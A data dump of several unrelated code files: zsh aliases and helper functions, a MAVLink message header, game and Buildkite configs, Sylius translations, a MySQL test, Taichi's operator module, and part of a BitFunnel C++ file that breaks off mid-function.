\"DEBUG ENABLED\" && dzs'\nalias dzd='unsetopt XTRACE && dzs'\n\n# Disable correction.\nfor command in ack cd cp ebuild gcc gist grep heroku \\\n ln man mkdir mv mysql rm scp\ndo\n if (( $+commands[$command] )); then\n alias $command=\"nocorrect ${command}\"\n fi\ndone\n\n# Disable globbing.\nalias fc='noglob fc'\nalias find='noglob find'\nalias history='noglob history'\nalias locate='noglob locate'\nalias rake='noglob rake'\n\n# Define general aliases.\nalias _='sudo'\nalias en='sudo -s'\nalias __='sudo -s'\nalias b='${(z)BROWSER}'\nalias cp=\"${aliases[cp]:-cp} -i\"\nalias e='${(z)EDITOR}'\nalias ln=\"${aliases[ln]:-ln} -i\"\nalias mkdir=\"${aliases[mkdir]:-mkdir} -p\"\nalias mv=\"${aliases[mv]:-mv} -i\"\nalias p='${(z)PAGER}'\nalias po='popd'\nalias pu='pushd'\nalias rm=\"${aliases[rm]:-rm} -i\"\nalias type='type -a'\n\nalias l='ls -1A' # Lists in one column, hidden files.\nalias ll='ls -lh' # Lists human readable sizes.\nalias lr='ll -R' # Lists human readable sizes, recursively.\nalias la='ll -A' # Lists human readable sizes, hidden files.\nalias lm='la | \"$PAGER\"' # Lists human readable sizes, hidden files through pager.\nalias lx='ll -XB' # Lists sorted by extension (GNU only).\nalias lk='ll -Sr' # Lists sorted by size, largest last.\nalias lt='ll -tr' # Lists sorted by date, most recent last.\nalias lat='ll -atr' # Lists sorted by date, hidden files, most recent last.\nalias lc='lt -c' # Lists sorted by date, most recent last, shows change time.\nalias lu='lt -u' # Lists sorted by date, most recent last, shows access time.\nalias sl='ls' # I often screw this up.\n\n# Mac OS X Everywhere\nif [[ \"$OSTYPE\" == darwin* ]]; then\n alias o='open'\n alias get='curl --continue-at - --location --progress-bar --remote-name --remote-time'\nelse\n alias o='xdg-open'\n alias get='wget --continue --progress=bar --timestamping'\n\n if (( $+commands[xclip] )); then\n alias pbcopy='xclip -selection clipboard -in'\n alias pbpaste='xclip -selection clipboard -out'\n fi\n\n if (( $+commands[xsel] )); then\n alias pbcopy='xsel --clipboard --input'\n alias pbpaste='xsel --clipboard --output'\n fi\nfi\n\nalias pbc='pbcopy'\nalias pbp='pbpaste'\n\n# Resource Usage\nalias df='df -kh'\nalias du='du -kh'\n\nif (( $+commands[htop] )); then\n alias top=htop\nelse\n alias topc='top -o cpu'\n alias topm='top -o vsize'\nfi\n\n#### global aliases\n# zsh buch s.82 (z.B. find / ... NE)\nalias -g NE='2>|/dev/null'\nalias -g NO='&>|/dev/null'\n\nalias -g G='| grep -'\nalias -g P='2>&1 | $PAGER'\nalias -g L='| less'\nalias -g M='| most'\nalias -g C='| wc -l'\n\n# Quick exit\nalias x=\"exit\"\nalias q=\"exit\"\n\n# My IP\nalias myip='curl ifconfig.me'\n# IP addresses\nalias ips=\"ifconfig -a | grep -o 'inet6\\? \\(addr:\\)\\?\\s\\?\\(\\(\\([0-9]\\+\\.\\)\\{3\\}[0-9]\\+\\)\\|[a-fA-F0-9:]\\+\\)' | awk '{ sub(/inet6? (addr:)? ?/, \\\"\\\"); print }'\"\n\n### Functions\n\n# Serves a directory via HTTP.\nfunction http-serve {\n local port=\"${1:-8000}\"\n sleep 1 && open \"http://localhost:${port}/\" &\n python -m SimpleHTTPServer ${port}\n}\n\n# Makes a directory and changes to it.\nfunction mkdcd {\n [[ -n \"$1\" ]] && mkdir -p \"$1\" && builtin cd \"$1\"\n}\n\n# Changes to a directory and lists its contents.\nfunction cdls {\n builtin cd \"$argv[-1]\" && ls \"${(@)argv[1,-2]}\"\n}\n\n# Pushes an entry onto the directory stack and lists its contents.\nfunction pushdls {\n builtin pushd \"$argv[-1]\" && ls \"${(@)argv[1,-2]}\"\n}\n\n# Pops an entry off the directory stack and lists its contents.\nfunction popdls {\n builtin popd \"$argv[-1]\" && ls \"${(@)argv[1,-2]}\"\n}\n\n# Prints columns 1 2 3 ... n.\nfunction slit {\n awk \"{ print ${(j:,:):-\\$${^@}} }\"\n}\n\n# Finds files and executes a command on them.\nfunction find-exec {\n find . -type f -iname \"*${1:-}*\" -exec \"${2:-file}\" '{}' \\;\n}\n\n# Displays user owned processes status.\nfunction psu {\n ps -{U,u}\" ${1:-$USER}\" -o 'pid,%cpu,%mem,command' \"${(@)argv[2,-1]}\"\n}\n\nfunction encode64 {\n echo -n $1 | base64\n}\n\nfunction decode64 {\n echo -n $1 | base64 -d\n}\n\nfunction up {\n for parent in {1..${1:-1}}; do\n builtin cd ..\n done\n}\n\nfunction scratch {\n _scratch=$HOME/scratch\n if [[ \"$1\" == \"\" ]]; then\n echo -e \"Usage: $0 \\\"name\\\"\\n\"\n echo -e \"Existing scratch dirs:\\n\"\n echo -n \" \"\n ls $_scratch/\n echo\n else\n _scratch=$_scratch/$1\n if [[ -d $_scratch ]]; then\n cd $_scratch\n else\n mkdir -p $_scratch\n cd $_scratch\n fi\n fi\n unset _scratch\n}\n\nfunction cdup()\n{\n if [[ -z \"$1\" ]]; then\n cd ..\n else\n local -a cdpathtemp\n local integer depth=${#PWD//[^\\/]/}\n for (( i = 1; i <= depth; i++ )); do\n cdpathtemp+=(${(l:(($i * 3 - 1))::../::..:)})\n done\n cdpath=($cdpathtemp) cd $1\n fi\n return $?\n}\n\nfunction grepp() {\n [ $# -eq 1 ] && perl -00ne \"print if /$1/i\" || perl -00ne \"print if /$1/i\" < \"$2\"\n}\n\nfunction pingrouter() {\n GATEWAY=`netstat -rn | grep \"default\" | awk '{print $2}'`; if [ $? != 0 ]; then echo \"No internet gateways found\"; exit 1; else ping $GATEWAY; fi\n}\n\n# repeat last command with sudo\nfunction fuck() {\n LAST_CMD=`fc -nl -1`\n echo sudo $LAST_CMD\n sudo zsh -c $LAST_CMD\n}\n\n# clean up photos of a whiteboard\nfunction whiteboard_clean() {\n convert \"$1\" -resize %50 -morphology Convolve DoG:15,100,0 -negate -normalize -blur 0x1 -channel RBG -level 60%,91%,0.1 \"$2\"\n}\n\n# ctrl+z to fg\nfancy-ctrl-z () {\n if [[ $#BUFFER -eq 0 ]]; then\n fg\n zle redisplay\n else\n zle push-input\n zle clear-screen\n fi\n}\nzle -N fancy-ctrl-z\nbindkey '^Z' fancy-ctrl-z\n\nalias mmv=\"noglob zmv -W\"\n"} {"text": "// MESSAGE PLAY_TUNE support class\n\n#pragma once\n\nnamespace mavlink {\nnamespace common {\nnamespace msg {\n\n/**\n * @brief PLAY_TUNE message\n *\n * Control vehicle tone generation (buzzer)\n */\nstruct PLAY_TUNE : mavlink::Message {\n static constexpr msgid_t MSG_ID = 258;\n static constexpr size_t LENGTH = 32;\n static constexpr size_t MIN_LENGTH = 32;\n static constexpr uint8_t CRC_EXTRA = 187;\n static constexpr auto NAME = \"PLAY_TUNE\";\n\n\n uint8_t target_system; /*< System ID */\n uint8_t target_component; /*< Component ID */\n std::array<char, 30> tune; /*< tune in board specific format */\n\n\n inline std::string get_name(void) const override\n {\n return NAME;\n }\n\n inline Info get_message_info(void) const override\n {\n return { MSG_ID, LENGTH, MIN_LENGTH, CRC_EXTRA };\n }\n\n inline std::string to_yaml(void) const override\n {\n std::stringstream ss;\n\n ss << NAME << \":\" << std::endl;\n ss << \" target_system: \" << +target_system << std::endl;\n ss << \" target_component: \" << +target_component << std::endl;\n ss << \" tune: \\\"\" << to_string(tune) << \"\\\"\" << std::endl;\n\n return ss.str();\n }\n\n inline void serialize(mavlink::MsgMap &map) const override\n {\n map.reset(MSG_ID, LENGTH);\n\n map << target_system; // offset: 0\n map << target_component; // offset: 1\n map << tune; // offset: 2\n }\n\n inline void deserialize(mavlink::MsgMap &map) override\n {\n map >> target_system; // offset: 0\n map >> target_component; // offset: 1\n map >> tune; // offset: 2\n }\n};\n\n} // namespace msg\n} // namespace common\n} // namespace mavlink\n"} {"text": "{\n \"name\" : \"heal_tier3\",\n \"blockingStat\" : \"healingStatusImmunity\",\n \"effectConfig\" : {\n \"healAmount\" : 40,\n \"emissionRate\" : 6\n },\n \"defaultDuration\" : 2,\n\n \"scripts\" : [\n \"heal.lua\"\n ],\n\n \"animationConfig\" : \"heal.animation\",\n\n \"label\" : \"Heals 40 hp over 2 seconds\",\n \"icon\" : \"/interface/statuses/heal.png\"\n}\n"} {"text": "# The token from your Buildkite \"Agents\" page\ntoken=\"xxx\"\n\n# The name of the agent\nname=\"%hostname-%n\"\n\n# The number of agents to spawn in parallel (default is \"1\")\n# spawn=1\n\n# The priority of the agent (higher priorities are assigned work first)\n# priority=1\n\n# Tags for the agent (default is \"queue=default\")\n# tags=\"key1=val2,key2=val2\"\n\n# Include the host's EC2 meta-data as tags (instance-id, instance-type, and ami-id)\n# tags-from-ec2=true\n\n# Include the host's EC2 tags as tags\n# tags-from-ec2-tags=true\n\n# Include the host's Google Cloud instance meta-data as tags (instance-id, machine-type, preemptible, project-id, region, and zone)\n# tags-from-gcp=true\n\n# Include the host's Google Cloud instance labels as tags\n# tags-from-gcp-labels=true\n\n# Path to a custom bootstrap command to run. By default this is `buildkite-agent bootstrap`.\n# This allows you to override the entire execution of a job. Generally you should use hooks instead!\n# See https://buildkite.com/docs/agent/hooks\n# bootstrap-script=\"\"\n\n# Path to where the builds will run from\nbuild-path=\"$HOME/.buildkite-agent/builds\"\n\n# Directory where the hook scripts are found\nhooks-path=\"$HOME/.buildkite-agent/hooks\"\n\n# Directory where plugins will be installed\nplugins-path=\"$HOME/.buildkite-agent/plugins\"\n\n# Flags to pass to the `git clone` command\n# git-clone-flags=-v\n\n# Flags to pass to the `git clean` command\n# git-clean-flags=-ffxdq\n\n# Do not run jobs within a pseudo terminal\n# no-pty=true\n\n# Don't automatically verify SSH fingerprints\n# no-automatic-ssh-fingerprint-verification=true\n\n# Don't allow this agent to run arbitrary console commands\n# no-command-eval=true\n\n# Don't allow this agent to run plugins\n# no-plugins=true\n\n# Enable debug mode\n# debug=true\n\n# Don't show colors in logging\n# no-color=true\n"} {"text": "# This file is part of the Sylius package.\n# (c) Paweł Jędrzejewski\n\nsylius:\n attribute:\n name:\n not_blank: Naziv svojstva.\n min_length: Naziv svojstva može imati min 1 znak. Naziv svojstva mora imati najmanje {{ limit }} znakova.\n max_length: Naziv svojstva ne smije imati više od 1 znaka.|Naziv svojstva ne smije biti duži od {{ limit }} znakova.\n code:\n not_blank: Molim unesite kod svojstva.\n regex: Kod svojstva se može sastojati samo od slova, brojeva, povlaka i podvlaka.\n unique: Ovaj kod se već koristi.\n configuration:\n max_entries: Vrijednost maksimalnog broja unosa konfiguracije mora biti veća ili jednaka minimalnom broju unosa konfiguracije.\n max_length: Maksimalna duljina konfiguracije mora biti dulja ili jednaka minimalnoj duljini konfiguracije.\n min_entries: Vrijednost minimalnog broja unosa konfiguracije mora biti manja ili jednaka maksimalnom broju unosa konfiguracije.\n multiple: Višestruka konfiguracija mora biti podešena ako je minimalni ili maksimalni broj vrijednosti specificiran.\n presentation:\n not_blank: Molim unesite prikaz atributa.\n min_length: Prikaz atributa mora imati najmanje 1 znak.|Prikaz atributa mora imati najmanje {{ limit }} znakova.\n max_length: Prikaz atributa ne smije biti duži od 1 znaka.|Prikaz atributa ne smije biti duži od {{ limit }} znakova.\n attribute_value:\n attribute:\n not_blank: Molim označite svojstvo.\n value:\n not_blank: Molim unesite vrijednost svojstva.\n"} {"text": "###############################################################################\n# WL#7742 : testing the new variable binlog_group_commit_sync_delay #\n###############################################################################\n\n--let $min_allowed=0\n--let $max_allowed=1000000\n--let $valid_val=`SELECT CAST(RAND() * $max_allowed AS SIGNED INTEGER)`\n\n--let $min_invalid=`SELECT $min_allowed - 1`\n--let $max_invalid=`SELECT $max_allowed + 1`\n\n--echo # Default values\nSELECT @@GLOBAL.binlog_group_commit_sync_delay;\n--error ER_INCORRECT_GLOBAL_LOCAL_VAR\nSELECT @@SESSION.binlog_group_commit_sync_delay;\n\n--disable_query_log\nSET @saved_value = @@global.binlog_group_commit_sync_delay;\n\n--echo # Valid values\n--eval SET GLOBAL binlog_group_commit_sync_delay = $min_allowed\n--eval SET GLOBAL binlog_group_commit_sync_delay = $valid_val\n--eval SET GLOBAL binlog_group_commit_sync_delay = $max_allowed\n\n--echo # Invalid values: there shall be warnings about truncation\n--eval SET GLOBAL binlog_group_commit_sync_delay = $min_invalid\n--let $val=`SELECT @@GLOBAL.binlog_group_commit_sync_delay`\n--let $assert_text=\"Assert that binlog_group_commit_sync_delay was truncated to MIN allowed value\"\n--let $assert_cond= $val=$min_allowed\n--source include/assert.inc\n\n--eval SET GLOBAL binlog_group_commit_sync_delay = $max_invalid\n--let $val=`SELECT @@GLOBAL.binlog_group_commit_sync_delay`\n--let $assert_text=\"Assert that binlog_group_commit_sync_delay was truncated to MAX allowed value\"\n--let $assert_cond= $val=$max_allowed\n--source include/assert.inc\n\nSET GLOBAL binlog_group_commit_sync_delay = @saved_value;\n--enable_query_log\n"} {"text": "from .expr import *\nfrom .util import *\nfrom .impl import expr_init\nfrom .exception import TaichiSyntaxError\nfrom .util import taichi_lang_core as ti_core\nimport operator as ops\nimport numbers\nimport functools\nimport math\n\nunary_ops = []\n\n\ndef stack_info():\n s = traceback.extract_stack()[3:-1]\n for i, l in enumerate(s):\n if 'taichi_ast_generator' in l:\n s = s[i + 1:]\n break\n raw = ''.join(traceback.format_list(s))\n # remove the confusing last line\n return '\\n'.join(raw.split('\\n')[:-5]) + '\\n'\n\n\ndef is_taichi_expr(a):\n return isinstance(a, Expr)\n\n\ndef wrap_if_not_expr(a):\n _taichi_skip_traceback = 1\n return Expr(a) if not is_taichi_expr(a) else a\n\n\ndef unary(foo):\n import taichi as ti\n\n @functools.wraps(foo)\n def imp_foo(x):\n _taichi_skip_traceback = 2\n return foo(x)\n\n @functools.wraps(foo)\n def wrapped(a):\n _taichi_skip_traceback = 1\n if ti.is_taichi_class(a):\n return a.element_wise_unary(imp_foo)\n else:\n return imp_foo(a)\n\n unary_ops.append(wrapped)\n return wrapped\n\n\nbinary_ops = []\n\n\ndef binary(foo):\n import taichi as ti\n\n @functools.wraps(foo)\n def imp_foo(x, y):\n _taichi_skip_traceback = 2\n return foo(x, y)\n\n @functools.wraps(foo)\n def rev_foo(x, y):\n _taichi_skip_traceback = 2\n return foo(y, x)\n\n @functools.wraps(foo)\n def wrapped(a, b):\n _taichi_skip_traceback = 1\n if ti.is_taichi_class(a):\n return a.element_wise_binary(imp_foo, b)\n elif ti.is_taichi_class(b):\n return b.element_wise_binary(rev_foo, a)\n else:\n return imp_foo(a, b)\n\n binary_ops.append(wrapped)\n return wrapped\n\n\nternary_ops = []\n\n\ndef ternary(foo):\n import taichi as ti\n\n @functools.wraps(foo)\n def abc_foo(a, b, c):\n _taichi_skip_traceback = 2\n return foo(a, b, c)\n\n @functools.wraps(foo)\n def bac_foo(b, a, c):\n _taichi_skip_traceback = 2\n return foo(a, b, c)\n\n @functools.wraps(foo)\n def cab_foo(c, a, b):\n _taichi_skip_traceback = 2\n return foo(a, b, c)\n\n @functools.wraps(foo)\n def wrapped(a, b, c):\n _taichi_skip_traceback = 1\n if ti.is_taichi_class(a):\n return a.element_wise_ternary(abc_foo, b, c)\n elif ti.is_taichi_class(b):\n return b.element_wise_ternary(bac_foo, a, c)\n elif ti.is_taichi_class(c):\n return c.element_wise_ternary(cab_foo, a, b)\n else:\n return abc_foo(a, b, c)\n\n ternary_ops.append(wrapped)\n return wrapped\n\n\nwriteback_binary_ops = []\n\n\ndef writeback_binary(foo):\n import taichi as ti\n\n @functools.wraps(foo)\n def imp_foo(x, y):\n _taichi_skip_traceback = 2\n return foo(x, wrap_if_not_expr(y))\n\n @functools.wraps(foo)\n def wrapped(a, b):\n _taichi_skip_traceback = 1\n if ti.is_taichi_class(a):\n return a.element_wise_writeback_binary(imp_foo, b)\n elif ti.is_taichi_class(b):\n raise TaichiSyntaxError(\n f'cannot augassign taichi class {type(b)} to scalar expr')\n else:\n return imp_foo(a, b)\n\n writeback_binary_ops.append(wrapped)\n return wrapped\n\n\ndef cast(obj, dtype):\n _taichi_skip_traceback = 1\n dtype = cook_dtype(dtype)\n if is_taichi_class(obj):\n # TODO: unify with element_wise_unary\n return obj.cast(dtype)\n else:\n return Expr(ti_core.value_cast(Expr(obj).ptr, dtype))\n\n\ndef bit_cast(obj, dtype):\n _taichi_skip_traceback = 1\n dtype = cook_dtype(dtype)\n if is_taichi_class(obj):\n raise ValueError('Cannot apply bit_cast on Taichi classes')\n else:\n return Expr(ti_core.bits_cast(Expr(obj).ptr, dtype))\n\n\ndef _unary_operation(taichi_op, python_op, a):\n _taichi_skip_traceback = 1\n if is_taichi_expr(a):\n return Expr(taichi_op(a.ptr), tb=stack_info())\n else:\n return python_op(a)\n\n\ndef _binary_operation(taichi_op, python_op, a, b):\n _taichi_skip_traceback = 1\n if is_taichi_expr(a) or is_taichi_expr(b):\n a, b = wrap_if_not_expr(a), wrap_if_not_expr(b)\n return Expr(taichi_op(a.ptr, b.ptr), tb=stack_info())\n else:\n return python_op(a, b)\n\n\ndef _ternary_operation(taichi_op, python_op, a, b, c):\n _taichi_skip_traceback = 1\n if is_taichi_expr(a) or is_taichi_expr(b) or is_taichi_expr(c):\n a, b, c = wrap_if_not_expr(a), wrap_if_not_expr(b), wrap_if_not_expr(c)\n return Expr(taichi_op(a.ptr, b.ptr, c.ptr), tb=stack_info())\n else:\n return python_op(a, b, c)\n\n\n@unary\ndef neg(a):\n return _unary_operation(ti_core.expr_neg, ops.neg, a)\n\n\n@unary\ndef sin(a):\n return _unary_operation(ti_core.expr_sin, math.sin, a)\n\n\n@unary\ndef cos(a):\n return _unary_operation(ti_core.expr_cos, math.cos, a)\n\n\n@unary\ndef asin(a):\n return _unary_operation(ti_core.expr_asin, math.asin, a)\n\n\n@unary\ndef acos(a):\n return _unary_operation(ti_core.expr_acos, math.acos, a)\n\n\n@unary\ndef sqrt(a):\n return _unary_operation(ti_core.expr_sqrt, math.sqrt, a)\n\n\n@unary\ndef rsqrt(a):\n def _rsqrt(a):\n return 1 / math.sqrt(a)\n\n return _unary_operation(ti_core.expr_rsqrt, _rsqrt, a)\n\n\n@unary\ndef floor(a):\n return _unary_operation(ti_core.expr_floor, math.floor, a)\n\n\n@unary\ndef ceil(a):\n return _unary_operation(ti_core.expr_ceil, math.ceil, a)\n\n\n@unary\ndef tan(a):\n return _unary_operation(ti_core.expr_tan, math.tan, a)\n\n\n@unary\ndef tanh(a):\n return _unary_operation(ti_core.expr_tanh, math.tanh, a)\n\n\n@unary\ndef exp(a):\n return _unary_operation(ti_core.expr_exp, math.exp, a)\n\n\n@unary\ndef log(a):\n return _unary_operation(ti_core.expr_log, math.log, a)\n\n\n@unary\ndef abs(a):\n import builtins\n return _unary_operation(ti_core.expr_abs, builtins.abs, a)\n\n\n@unary\ndef bit_not(a):\n return _unary_operation(ti_core.expr_bit_not, ops.invert, a)\n\n\n@unary\ndef logical_not(a):\n return _unary_operation(ti_core.expr_logic_not, lambda x: int(not x), a)\n\n\ndef random(dtype=float):\n dtype = cook_dtype(dtype)\n x = Expr(ti_core.make_rand_expr(dtype))\n return expr_init(x)\n\n\n# NEXT: add matpow(self, power)\n\n\n@binary\ndef add(a, b):\n return _binary_operation(ti_core.expr_add, ops.add, a, b)\n\n\n@binary\ndef sub(a, b):\n return _binary_operation(ti_core.expr_sub, ops.sub, a, b)\n\n\n@binary\ndef mul(a, b):\n return _binary_operation(ti_core.expr_mul, ops.mul, a, b)\n\n\n@binary\ndef mod(a, b):\n def expr_python_mod(a, b):\n # a % b = (a // b) * b - a\n quotient = Expr(ti_core.expr_floordiv(a, b))\n multiply = Expr(ti_core.expr_mul(b, quotient.ptr))\n return ti_core.expr_sub(a, multiply.ptr)\n\n return _binary_operation(expr_python_mod, ops.mod, a, b)\n\n\n@binary\ndef pow(a, b):\n return _binary_operation(ti_core.expr_pow, ops.pow, a, b)\n\n\n@binary\ndef floordiv(a, b):\n return _binary_operation(ti_core.expr_floordiv, ops.floordiv, a, b)\n\n\n@binary\ndef truediv(a, b):\n return _binary_operation(ti_core.expr_truediv, ops.truediv, a, b)\n\n\n@binary\ndef max(a, b):\n import builtins\n return _binary_operation(ti_core.expr_max, builtins.max, a, b)\n\n\n@binary\ndef min(a, b):\n import builtins\n return _binary_operation(ti_core.expr_min, builtins.min, a, b)\n\n\n@binary\ndef atan2(a, b):\n return _binary_operation(ti_core.expr_atan2, math.atan2, a, b)\n\n\n@binary\ndef raw_div(a, b):\n def c_div(a, b):\n if isinstance(a, int) and isinstance(b, int):\n return a // b\n else:\n return a / b\n\n return _binary_operation(ti_core.expr_div, c_div, a, b)\n\n\n@binary\ndef raw_mod(a, b):\n def c_mod(a, b):\n return a - b * int(float(a) / b)\n\n return _binary_operation(ti_core.expr_mod, c_mod, a, b)\n\n\n@binary\ndef cmp_lt(a, b):\n return _binary_operation(ti_core.expr_cmp_lt, lambda a, b: -int(a < b), a,\n b)\n\n\n@binary\ndef cmp_le(a, b):\n return _binary_operation(ti_core.expr_cmp_le, lambda a, b: -int(a <= b), a,\n b)\n\n\n@binary\ndef cmp_gt(a, b):\n return _binary_operation(ti_core.expr_cmp_gt, lambda a, b: -int(a > b), a,\n b)\n\n\n@binary\ndef cmp_ge(a, b):\n return _binary_operation(ti_core.expr_cmp_ge, lambda a, b: -int(a >= b), a,\n b)\n\n\n@binary\ndef cmp_eq(a, b):\n return _binary_operation(ti_core.expr_cmp_eq, lambda a, b: -int(a == b), a,\n b)\n\n\n@binary\ndef cmp_ne(a, b):\n return _binary_operation(ti_core.expr_cmp_ne, lambda a, b: -int(a != b), a,\n b)\n\n\n@binary\ndef bit_or(a, b):\n return _binary_operation(ti_core.expr_bit_or, ops.or_, a, b)\n\n\n@binary\ndef bit_and(a, b):\n return _binary_operation(ti_core.expr_bit_and, ops.and_, a, b)\n\n\n@binary\ndef bit_xor(a, b):\n return _binary_operation(ti_core.expr_bit_xor, ops.xor, a, b)\n\n\n@binary\ndef bit_shl(a, b):\n return _binary_operation(ti_core.expr_bit_shl, ops.lshift, a, b)\n\n\n@binary\ndef bit_sar(a, b):\n return _binary_operation(ti_core.expr_bit_sar, ops.rshift, a, b)\n\n\n@taichi_scope\n@binary\ndef bit_shr(a, b):\n return _binary_operation(ti_core.expr_bit_shr, ops.rshift, a, b)\n\n\n# We don't have logic_and/or instructions yet:\nlogical_or = bit_or\nlogical_and = bit_and\n\n\n@ternary\ndef select(cond, a, b):\n # TODO: systematically resolve `-1 = True` problem by introducing u1:\n cond = logical_not(logical_not(cond))\n\n def py_select(cond, a, b):\n return a * cond + b * (1 - cond)\n\n return _ternary_operation(ti_core.expr_select, py_select, cond, a, b)\n\n\n@writeback_binary\ndef atomic_add(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_add(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef atomic_sub(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_sub(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef atomic_min(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_min(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef atomic_max(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_max(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef atomic_and(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_bit_and(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef atomic_or(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_bit_or(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef atomic_xor(a, b):\n return expr_init(\n Expr(ti_core.expr_atomic_bit_xor(a.ptr, b.ptr), tb=stack_info()))\n\n\n@writeback_binary\ndef assign(a, b):\n ti_core.expr_assign(a.ptr, b.ptr, stack_info())\n return a\n\n\nsqr = obsolete('ti.sqr(x)', 'x**2')\n\n\ndef ti_max(*args):\n num_args = len(args)\n assert num_args >= 1\n if num_args == 1:\n return args[0]\n elif num_args == 2:\n return max(args[0], args[1])\n else:\n return max(args[0], ti_max(*args[1:]))\n\n\ndef ti_min(*args):\n num_args = len(args)\n assert num_args >= 1\n if num_args == 1:\n return args[0]\n elif num_args == 2:\n return min(args[0], args[1])\n else:\n return min(args[0], ti_min(*args[1:]))\n\n\ndef ti_any(a):\n return a.any()\n\n\ndef ti_all(a):\n return a.all()\n\n\ndef append(l, indices, val):\n import taichi as ti\n a = ti.expr_init(\n ti_core.insert_append(l.snode.ptr, make_expr_group(indices),\n Expr(val).ptr))\n return a\n\n\ndef external_func_call(func, args=[], outputs=[]):\n import taichi as ti\n import ctypes\n func_addr = ctypes.cast(func, ctypes.c_void_p).value\n ti_core.insert_external_func_call(func_addr, '', make_expr_group(args),\n make_expr_group(outputs))\n\n\ndef asm(source, inputs=[], outputs=[]):\n import taichi as ti\n import ctypes\n ti_core.insert_external_func_call(0, source, make_expr_group(inputs),\n make_expr_group(outputs))\n\n\ndef is_active(l, indices):\n return Expr(ti_core.insert_is_active(l.snode.ptr,\n make_expr_group(indices)))\n\n\ndef activate(l, indices):\n ti_core.insert_activate(l.snode.ptr, make_expr_group(indices))\n\n\ndef deactivate(l, indices):\n ti_core.insert_deactivate(l.snode.ptr, make_expr_group(indices))\n\n\ndef length(l, indices):\n return Expr(ti_core.insert_len(l.snode.ptr, make_expr_group(indices)))\n"} {"text": "// The MIT License (MIT)\n\n// Copyright (c) 2016, Microsoft\n\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.\n\n\n#include \"BitFunnel/Allocators/IAllocator.h\"\n#include \"BitFunnel/Index/IIngestor.h\"\n#include \"BitFunnel/Index/ISimpleIndex.h\"\n#include \"BitFunnel/Utilities/StreamUtilities.h\"\n#include \"BitFunnel/Plan/Factories.h\"\n#include \"PlanRows.h\"\n\n\nnamespace BitFunnel\n{\n IPlanRows& Factories::CreatePlanRows(IInputStream& input,\n const ISimpleIndex& index,\n IAllocator& allocator)\n {\n return *new (allocator.Allocate(sizeof(PlanRows))) PlanRows(input, index);\n }\n\n\n //*************************************************************************\n //\n // PlanRows\n //\n //*************************************************************************\n PlanRows::PlanRows(const ISimpleIndex& index)\n : m_index(index)\n {\n }\n\n\n PlanRows::PlanRows(IInputStream& stream, const ISimpleIndex& index)\n : m_index(index)\n {\n const unsigned size = StreamUtilities::ReadField<unsigned>(stream);\n\n for (unsigned i = 0; i < size; ++i)\n {\n m_rows.PushBack(Entry(stream));\n }\n }\n\n\n PlanRows::~PlanRows()\n {\n }\n\n\n ShardId PlanRows::GetShardCount() const\n {\n // return static_cast<unsigned>(m_index.GetShardCount());\n return m_index.GetIngestor().GetShardCount();\n }\n\n\n unsigned PlanRows::GetRowCount() const\n {\n return m_rows.GetSize();\n }\n\n\n const ITermTable& PlanRows::GetTermTable(ShardId shard) const\n {\n return m_index.GetTermTable(shard);\n }\n\n\n bool PlanRows::IsFull() const\n {\n return (m_rows.GetSize() >= GetRowCountLimit());\n }\n\n\n // Add a row to the PlanRows.\n AbstractRow PlanRows::AddRow(Rank rank)\n {\n m_rows.PushBack(m_rows.GetSize(), rank);\n return AbstractRow(m_rows.GetSize() - 1, rank, false);\n }\n\n\n const RowId& PlanRows::PhysicalRow(ShardId shard, unsigned id) const\n {\n return m_rows[id][shard];\n }\n\n\n RowId& PlanRows::PhysicalRow(ShardId shard, unsigned id)\n {\n return m_rows[id][shard];\n }\n\n\n void PlanRows::Write(std::ostream& stream) const\n {\n StreamUtilities::WriteField(stream, m_rows.GetSize());\n\n for (unsigned i = 0; i < m_rows.GetSize(); ++i)\n {\n m_rows[i].Write(stream);\n }\n }\n\n\n unsigned PlanRows::GetRowCountLimit() const\n {\n return c_maxRowsPerQuery;\n }\n\n\n PlanRows::Entry::Entry(unsigned id, Rank rank)\n : m_id(id),\n m_rank(rank)\n {\n }\n\n\n PlanRows::Entry::Entry(IInputStream& stream)\n {\n m_id = StreamUtilities::ReadField<unsigned>(stream);\n m_rank = StreamUtilities::ReadField<Rank>(stream);\n StreamUtilities::ReadArray(stream, m_rowIds, c_maxShardIdCount);\n }\n\n\n unsigned PlanRows::Entry::GetId() const\n {\n return m_id;\n }\n\n\n Rank PlanRows::Entry::GetRank() const\n {\n return m_rank;\n }\n\n\n RowId& PlanRows::Entry::operator[](ShardId shard)\n {\n LogAssertB(shard < c_maxShardIdCount, \"ShardId overflow.\");\n return m_rowIds[shard];\n }\n\n\n RowId const & PlanRows::Entry::operator[](ShardId shard) const\n {\n LogAssertB(shard < c_maxShardIdCount, \"ShardId overflow.\");\n return m_rowIds[shard];\n }\n\n\n void PlanRows::Entry::Write(std::ostream& stream) const\n {\n StreamUtilities::WriteField(stream, m_id);\n StreamUtilities::WriteField(stream, m_rank);\n 